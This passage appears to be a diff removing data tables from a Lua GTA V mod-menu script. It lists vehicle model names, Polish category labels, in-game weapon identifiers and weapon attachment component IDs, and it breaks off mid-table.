- 'DockTrailer',
- 'Graintrailer',
- 'Proptrailer',
- 'Raketailer',
- 'TR2',
- 'TR3',
- 'TR4',
- 'TRFlat',
- 'TVTrailer',
- 'Tanker',
- 'Tanker2',
- 'Trailerlogs',
- 'Trailersmall',
- 'Trailers',
- 'Trailers2',
- 'Trailers3'
- }
- local b0 = {
- 'Freight',
- 'Freightcar',
- 'Freightcont1',
- 'Freightcont2',
- 'Freightgrain',
- 'Freighttrailer',
- 'TankerCar'
- }
- local b1 = {
- 'Airtug',
- 'Caddy',
- 'Caddy2',
- 'Caddy3',
- 'Docktug',
- 'Forklift',
- 'Mower',
- 'Ripley',
- 'Sadler',
- 'Scrap',
- 'TowTruck',
- 'Towtruck2',
- 'Tractor',
- 'Tractor2',
- 'Tractor3',
- 'TrailerLArge2',
- 'Utilitruck',
- 'Utilitruck3',
- 'Utilitruck2'
- }
- local b2 = {
- 'Bison',
- 'Bison2',
- 'Bison3',
- 'BobcatXL',
- 'Boxville',
- 'Boxville2',
- 'Boxville3',
- 'Boxville4',
- 'Boxville5',
- 'Burrito',
- 'Burrito2',
- 'Burrito3',
- 'Burrito4',
- 'Burrito5',
- 'Camper',
- 'GBurrito',
- 'GBurrito2',
- 'Journey',
- 'Minivan',
- 'Minivan2',
- 'Paradise',
- 'pony',
- 'Pony2',
- 'Rumpo',
- 'Rumpo2',
- 'Rumpo3',
- 'Speedo',
- 'Speedo2',
- 'Speedo4',
- 'Surfer',
- 'Surfer2',
- 'Taco',
- 'Youga',
- 'youga2'
- }
- local b3 = {
- 'Lodki',
- 'Ciezarowki',
- 'Kompakty',
- 'Coupe',
- 'Rowery',
- 'Sluzby Specialne',
- 'Helikoptery',
- 'Przemysłowe',
- 'Militarne',
- 'Motory',
- 'Muscle',
- 'Off-Road',
- 'Samoloty',
- 'SUVy',
- 'Sedany',
- 'Serwisowe',
- 'Sportowe',
- 'Sportowe klasyki',
- 'SuperSamochody',
- 'Przyczepy',
- 'Pociagi',
- 'Uzytkowe',
- 'Vany'
- }
- local b4 = {
- aH,
- aI,
- aJ,
- aK,
- aL,
- aM,
- aN,
- aO,
- aP,
- aQ,
- aR,
- aS,
- aT,
- aU,
- aV,
- aW,
- aX,
- aY,
- aZ,
- a_,
- b0,
- b1,
- b2
- }
- local b5 = {
- 'ArmyTanker',
- 'ArmyTrailer',
- 'ArmyTrailer2',
- 'BaleTrailer',
- 'BoatTrailer',
- 'CableCar',
- 'DockTrailer',
- 'Graintrailer',
- 'Proptrailer',
- 'Raketailer',
- 'TR2',
- 'TR3',
- 'TR4',
- 'TRFlat',
- 'TVTrailer',
- 'Tanker',
- 'Tanker2',
- 'Trailerlogs',
- 'Trailersmall',
- 'Trailers',
- 'Trailers2',
- 'Trailers3'
- }
- local b6 = {
- 'WEAPON_KNIFE',
- 'WEAPON_KNUCKLE',
- 'WEAPON_NIGHTSTICK',
- 'WEAPON_HAMMER',
- 'WEAPON_BAT',
- 'WEAPON_GOLFCLUB',
- 'WEAPON_CROWBAR',
- 'WEAPON_BOTTLE',
- 'WEAPON_DAGGER',
- 'WEAPON_HATCHET',
- 'WEAPON_MACHETE',
- 'WEAPON_FLASHLIGHT',
- 'WEAPON_SWITCHBLADE',
- 'WEAPON_PISTOL',
- 'WEAPON_PISTOL_MK2',
- 'WEAPON_COMBATPISTOL',
- 'WEAPON_APPISTOL',
- 'WEAPON_PISTOL50',
- 'WEAPON_SNSPISTOL',
- 'WEAPON_HEAVYPISTOL',
- 'WEAPON_VINTAGEPISTOL',
- 'WEAPON_STUNGUN',
- 'WEAPON_FLAREGUN',
- 'WEAPON_MARKSMANPISTOL',
- 'WEAPON_REVOLVER',
- 'WEAPON_MICROSMG',
- 'WEAPON_SMG',
- 'WEAPON_SMG_MK2',
- 'WEAPON_ASSAULTSMG',
- 'WEAPON_MG',
- 'WEAPON_COMBATMG',
- 'WEAPON_COMBATMG_MK2',
- 'WEAPON_COMBATPDW',
- 'WEAPON_GUSENBERG',
- 'WEAPON_MACHINEPISTOL',
- 'WEAPON_ASSAULTRIFLE',
- 'WEAPON_ASSAULTRIFLE_MK2',
- 'WEAPON_CARBINERIFLE',
- 'WEAPON_CARBINERIFLE_MK2',
- 'WEAPON_ADVANCEDRIFLE',
- 'WEAPON_SPECIALCARBINE',
- 'WEAPON_BULLPUPRIFLE',
- 'WEAPON_COMPACTRIFLE',
- 'WEAPON_PUMPSHOTGUN',
- 'WEAPON_SAWNOFFSHOTGUN',
- 'WEAPON_BULLPUPSHOTGUN',
- 'WEAPON_ASSAULTSHOTGUN',
- 'WEAPON_MUSKET',
- 'WEAPON_HEAVYSHOTGUN',
- 'WEAPON_DBSHOTGUN',
- 'WEAPON_SNIPERRIFLE',
- 'WEAPON_HEAVYSNIPER',
- 'WEAPON_HEAVYSNIPER_MK2',
- 'WEAPON_MARKSMANRIFLE',
- 'WEAPON_GRENADELAUNCHER',
- 'WEAPON_GRENADELAUNCHER_SMOKE',
- 'WEAPON_RPG',
- 'WEAPON_STINGER',
- 'WEAPON_FIREWORK',
- 'WEAPON_HOMINGLAUNCHER',
- 'WEAPON_GRENADE',
- 'WEAPON_STICKYBOMB',
- 'WEAPON_PROXMINE',
- 'WEAPON_BZGAS',
- 'WEAPON_SMOKEGRENADE',
- 'WEAPON_MOLOTOV',
- 'WEAPON_FIREEXTINGUISHER',
- 'WEAPON_PETROLCAN',
- 'WEAPON_SNOWBALL',
- 'WEAPON_FLARE',
- 'WEAPON_BALL'
- }
- local b7 = {
- Melee = {
- BaseballBat = {
- id = 'weapon_bat',
- name = '~h~~r~> ~s~Baseball Bat',
- bInfAmmo = false,
- mods = {}
- },
- BrokenBottle = {
- id = 'weapon_bottle',
- name = '~h~~r~> ~s~Broken Bottle',
- bInfAmmo = false,
- mods = {}
- },
- Crowbar = {
- id = 'weapon_Crowbar',
- name = '~h~~r~> ~s~Crowbar',
- bInfAmmo = false,
- mods = {}
- },
- Flashlight = {
- id = 'weapon_flashlight',
- name = '~h~~r~> ~s~Flashlight',
- bInfAmmo = false,
- mods = {}
- },
- GolfClub = {
- id = 'weapon_golfclub',
- name = '~h~~r~> ~s~Golf Club',
- bInfAmmo = false,
- mods = {}
- },
- BrassKnuckles = {
- id = 'weapon_knuckle',
- name = '~h~~r~> ~s~Brass Knuckles',
- bInfAmmo = false,
- mods = {}
- },
- Knife = {
- id = 'weapon_knife',
- name = '~h~~r~> ~s~Knife',
- bInfAmmo = false,
- mods = {}
- },
- Machete = {
- id = 'weapon_machete',
- name = '~h~~r~> ~s~Machete',
- bInfAmmo = false,
- mods = {}
- },
- Switchblade = {
- id = 'weapon_switchblade',
- name = '~h~~r~> ~s~Switchblade',
- bInfAmmo = false,
- mods = {}
- },
- Nightstick = {
- id = 'weapon_nightstick',
- name = '~h~~r~> ~s~Nightstick',
- bInfAmmo = false,
- mods = {}
- },
- BattleAxe = {
- id = 'weapon_battleaxe',
- name = '~h~~r~> ~s~Battle Axe',
- bInfAmmo = false,
- mods = {}
- }
- },
- Handguns = {
- Pistol = {
- id = 'weapon_pistol',
- name = '~h~~r~> ~s~Pistol',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_PISTOL_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_PISTOL_CLIP_02'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_PI_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_PI_SUPP_02'
- }
- }
- }
- },
- PistolMK2 = {
- id = 'weapon_pistol_mk2',
- name = '~h~~r~> ~s~Pistol MK 2',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_PISTOL_MK2_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_PISTOL_MK2_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Tracer Rounds',
- id = 'COMPONENT_PISTOL_MK2_CLIP_TRACER'
- },
- {
- name = '~h~~r~> ~s~Incendiary Rounds',
- id = 'COMPONENT_PISTOL_MK2_CLIP_INCENDIARY'
- },
- {
- name = '~h~~r~> ~s~Hollow Point Rounds',
- id = 'COMPONENT_PISTOL_MK2_CLIP_HOLLOWPOINT'
- },
- {
- name = '~h~~r~> ~s~FMJ Rounds',
- id = 'COMPONENT_PISTOL_MK2_CLIP_FMJ'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Mounted Scope',
- id = 'COMPONENT_AT_PI_RAIL'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_PI_FLSH_02'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Compensator',
- id = 'COMPONENT_AT_PI_COMP'
- },
- {
- name = '~h~~r~> ~s~Suppessor',
- id = 'COMPONENT_AT_PI_SUPP_02'
- }
- }
- }
- },
- CombatPistol = {
- id = 'weapon_combatpistol',
- name = '~h~Combat Pistol',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_COMBATPISTOL_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_COMBATPISTOL_CLIP_02'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_PI_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_PI_SUPP'
- }
- }
- }
- },
- APPistol = {
- id = 'weapon_appistol',
- name = 'AP Pistol',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_APPISTOL_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_APPISTOL_CLIP_02'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_PI_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_PI_SUPP'
- }
- }
- }
- },
- StunGun = {
- id = 'weapon_stungun',
- name = '~h~~r~> ~s~Stun Gun',
- bInfAmmo = false,
- mods = {}
- },
- Pistol50 = {
- id = 'weapon_pistol50',
- name = '~h~~r~> ~s~Pistol .50',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_PISTOL50_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_PISTOL50_CLIP_02'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_PI_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_PI_SUPP_02'
- }
- }
- }
- },
- SNSPistol = {
- id = 'weapon_snspistol',
- name = '~h~~r~> ~s~SNS Pistol',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_SNSPISTOL_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_SNSPISTOL_CLIP_02'
- }
- }
- }
- },
- SNSPistolMkII = {
- id = 'weapon_snspistol_mk2',
- name = '~h~~r~> ~s~SNS Pistol Mk II',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_SNSPISTOL_MK2_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_SNSPISTOL_MK2_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Tracer Rounds',
- id = 'COMPONENT_SNSPISTOL_MK2_CLIP_TRACER'
- },
- {
- name = '~h~~r~> ~s~Incendiary Rounds',
- id = 'COMPONENT_SNSPISTOL_MK2_CLIP_INCENDIARY'
- },
- {
- name = '~h~~r~> ~s~Hollow Point Rounds',
- id = 'COMPONENT_SNSPISTOL_MK2_CLIP_HOLLOWPOINT'
- },
- {
- name = '~h~~r~> ~s~FMJ Rounds',
- id = 'COMPONENT_SNSPISTOL_MK2_CLIP_FMJ'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Mounted Scope',
- id = 'COMPONENT_AT_PI_RAIL_02'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_PI_FLSH_03'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Compensator',
- id = 'COMPONENT_AT_PI_COMP_02'
- },
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_PI_SUPP_02'
- }
- }
- }
- },
- HeavyPistol = {
- id = 'weapon_heavypistol',
- name = '~h~~r~> ~s~Heavy Pistol',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_HEAVYPISTOL_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_HEAVYPISTOL_CLIP_02'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_PI_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_PI_SUPP'
- }
- }
- }
- },
- VintagePistol = {
- id = 'weapon_vintagepistol',
- name = '~h~~r~> ~s~Vintage Pistol',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_VINTAGEPISTOL_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_VINTAGEPISTOL_CLIP_02'
- }
- },
- BarrelAttachments = {
- {
- 'Suppressor',
- id = 'COMPONENT_AT_PI_SUPP'
- }
- }
- }
- },
- FlareGun = {
- id = 'weapon_flaregun',
- name = '~h~~r~> ~s~Flare Gun',
- bInfAmmo = false,
- mods = {}
- },
- MarksmanPistol = {
- id = 'weapon_marksmanpistol',
- name = '~h~~r~> ~s~Marksman Pistol',
- bInfAmmo = false,
- mods = {}
- },
- HeavyRevolver = {
- id = 'weapon_revolver',
- name = '~h~~r~> ~s~Heavy Revolver',
- bInfAmmo = false,
- mods = {}
- },
- HeavyRevolverMkII = {
- id = 'weapon_revolver_mk2',
- name = '~h~~r~> ~s~Heavy Revolver Mk II',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Rounds',
- id = 'COMPONENT_REVOLVER_MK2_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Tracer Rounds',
- id = 'COMPONENT_REVOLVER_MK2_CLIP_TRACER'
- },
- {
- name = '~h~~r~> ~s~Incendiary Rounds',
- id = 'COMPONENT_REVOLVER_MK2_CLIP_INCENDIARY'
- },
- {
- name = '~h~~r~> ~s~Hollow Point Rounds',
- id = 'COMPONENT_REVOLVER_MK2_CLIP_HOLLOWPOINT'
- },
- {
- name = '~h~~r~> ~s~FMJ Rounds',
- id = 'COMPONENT_REVOLVER_MK2_CLIP_FMJ'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Holograhpic Sight',
- id = 'COMPONENT_AT_SIGHTS'
- },
- {
- name = '~h~~r~> ~s~Small Scope',
- id = 'COMPONENT_AT_SCOPE_MACRO_MK2'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_PI_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Compensator',
- id = 'COMPONENT_AT_PI_COMP_03'
- }
- }
- }
- },
- DoubleActionRevolver = {
- id = 'weapon_doubleaction',
- name = '~h~~r~> ~s~Double Action Revolver',
- bInfAmmo = false,
- mods = {}
- },
- UpnAtomizer = {
- id = 'weapon_raypistol',
- name = '~h~~r~> ~s~Up-n-Atomizer',
- bInfAmmo = false,
- mods = {}
- }
- },
- SMG = {
- MicroSMG = {
- id = 'weapon_microsmg',
- name = '~h~~r~> ~s~Micro SMG',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_MICROSMG_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_MICROSMG_CLIP_02'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_MACRO'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_PI_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP_02'
- }
- }
- }
- },
- SMG = {
- id = 'weapon_smg',
- name = '~h~~r~> ~s~SMG',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_SMG_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_SMG_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Drum Magazine',
- id = 'COMPONENT_SMG_CLIP_03'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_MACRO_02'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_PI_SUPP'
- }
- }
- }
- },
- SMGMkII = {
- id = 'weapon_smg_mk2',
- name = '~h~~r~> ~s~SMG Mk II',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_SMG_MK2_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_SMG_MK2_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Tracer Rounds',
- id = 'COMPONENT_SMG_MK2_CLIP_TRACER'
- },
- {
- name = '~h~~r~> ~s~Incendiary Rounds',
- id = 'COMPONENT_SMG_MK2_CLIP_INCENDIARY'
- },
- {
- name = '~h~~r~> ~s~Hollow Point Rounds',
- id = 'COMPONENT_SMG_MK2_CLIP_HOLLOWPOINT'
- },
- {
- name = '~h~~r~> ~s~FMJ Rounds',
- id = 'COMPONENT_SMG_MK2_CLIP_FMJ'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Holograhpic Sight',
- id = 'COMPONENT_AT_SIGHTS_SMG'
- },
- {
- name = '~h~~r~> ~s~Small Scope',
- id = 'COMPONENT_AT_SCOPE_MACRO_02_SMG_MK2'
- },
- {
- name = '~h~~r~> ~s~Medium Scope',
- id = 'COMPONENT_AT_SCOPE_SMALL_SMG_MK2'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- Barrel = {
- {
- name = '~h~~r~> ~s~Default',
- id = 'COMPONENT_AT_SB_BARREL_01'
- },
- {
- name = '~h~~r~> ~s~Heavy',
- id = 'COMPONENT_AT_SB_BARREL_02'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_PI_SUPP'
- },
- {
- name = '~h~~r~> ~s~Flat Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_01'
- },
- {
- name = '~h~~r~> ~s~Tactical Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_02'
- },
- {
- name = '~h~~r~> ~s~Fat-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_03'
- },
- {
- name = '~h~~r~> ~s~Precision Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_04'
- },
- {
- name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_05'
- },
- {
- name = '~h~~r~> ~s~Slanted Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_06'
- },
- {
- name = '~h~~r~> ~s~Split-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_07'
- }
- }
- }
- },
- AssaultSMG = {
- id = 'weapon_assaultsmg',
- name = '~h~~r~> ~s~Assault SMG',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_ASSAULTSMG_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_ASSAULTSMG_CLIP_02'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_MACRO'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP_02'
- }
- }
- }
- },
- CombatPDW = {
- id = 'weapon_combatpdw',
- name = '~h~~r~> ~s~Combat PDW',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_COMBATPDW_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_COMBATPDW_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Drum Magazine',
- id = 'COMPONENT_COMBATPDW_CLIP_03'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_SMALL'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP'
- }
- }
- }
- },
- MachinePistol = {
- id = 'weapon_machinepistol',
- name = '~h~~r~> ~s~Machine Pistol ',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_MACHINEPISTOL_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_MACHINEPISTOL_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Drum Magazine',
- id = 'COMPONENT_MACHINEPISTOL_CLIP_03'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_PI_SUPP'
- }
- }
- }
- },
- MiniSMG = {
- id = 'weapon_minismg',
- name = '~h~~r~> ~s~Mini SMG',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_MINISMG_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_MINISMG_CLIP_02'
- }
- }
- }
- },
- UnholyHellbringer = {
- id = 'weapon_raycarbine',
- name = '~h~~r~> ~s~Unholy Hellbringer',
- bInfAmmo = false,
- mods = {}
- }
- },
- Shotguns = {
- PumpShotgun = {
- id = 'weapon_pumpshotgun',
- name = '~h~~r~> ~s~Pump Shotgun',
- bInfAmmo = false,
- mods = {
- Flashlight = {
- {
- 'name = Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_SR_SUPP'
- }
- }
- }
- },
- PumpShotgunMkII = {
- id = 'weapon_pumpshotgun_mk2',
- name = '~h~~r~> ~s~Pump Shotgun Mk II',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Shells',
- id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Dragon Breath Shells',
- id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_INCENDIARY'
- },
- {
- name = '~h~~r~> ~s~Steel Buckshot Shells',
- id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_ARMORPIERCING'
- },
- {
- name = '~h~~r~> ~s~Flechette Shells',
- id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_HOLLOWPOINT'
- },
- {
- name = '~h~~r~> ~s~Explosive Slugs',
- id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_EXPLOSIVE'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Holograhpic Sight',
- id = 'COMPONENT_AT_SIGHTS'
- },
- {
- name = '~h~~r~> ~s~Small Scope',
- id = 'COMPONENT_AT_SCOPE_MACRO_MK2'
- },
- {
- name = '~h~~r~> ~s~Medium Scope',
- id = 'COMPONENT_AT_SCOPE_SMALL_MK2'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_SR_SUPP_03'
- },
- {
- name = '~h~~r~> ~s~Squared Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_08'
- }
- }
- }
- },
- SawedOffShotgun = {
- id = 'weapon_sawnoffshotgun',
- name = '~h~~r~> ~s~Sawed-Off Shotgun',
- bInfAmmo = false,
- mods = {}
- },
- AssaultShotgun = {
- id = 'weapon_assaultshotgun',
- name = '~h~~r~> ~s~Assault Shotgun',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_ASSAULTSHOTGUN_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_ASSAULTSHOTGUN_CLIP_02'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP'
- }
- }
- }
- },
- BullpupShotgun = {
- id = 'weapon_bullpupshotgun',
- name = '~h~~r~> ~s~Bullpup Shotgun',
- bInfAmmo = false,
- mods = {
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP_02'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP'
- }
- }
- }
- },
- Musket = {
- id = 'weapon_musket',
- name = '~h~~r~> ~s~Musket',
- bInfAmmo = false,
- mods = {}
- },
- HeavyShotgun = {
- id = 'weapon_heavyshotgun',
- name = '~h~~r~> ~s~Heavy Shotgun',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_HEAVYSHOTGUN_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_HEAVYSHOTGUN_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Drum Magazine',
- id = 'COMPONENT_HEAVYSHOTGUN_CLIP_02'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP_02'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP'
- }
- }
- }
- },
- DoubleBarrelShotgun = {
- id = 'weapon_dbshotgun',
- name = '~h~~r~> ~s~Double Barrel Shotgun',
- bInfAmmo = false,
- mods = {}
- },
- SweeperShotgun = {
- id = 'weapon_autoshotgun',
- name = '~h~~r~> ~s~Sweeper Shotgun',
- bInfAmmo = false,
- mods = {}
- }
- },
- AssaultRifles = {
- AssaultRifle = {
- id = 'weapon_assaultrifle',
- name = '~h~~r~> ~s~Assault Rifle',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_ASSAULTRIFLE_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_ASSAULTRIFLE_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Drum Magazine',
- id = 'COMPONENT_ASSAULTRIFLE_CLIP_03'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_MACRO'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP_02'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP'
- }
- }
- }
- },
- AssaultRifleMkII = {
- id = 'weapon_assaultrifle_mk2',
- name = '~h~~r~> ~s~Assault Rifle Mk II',
- bInfAmmo = false,
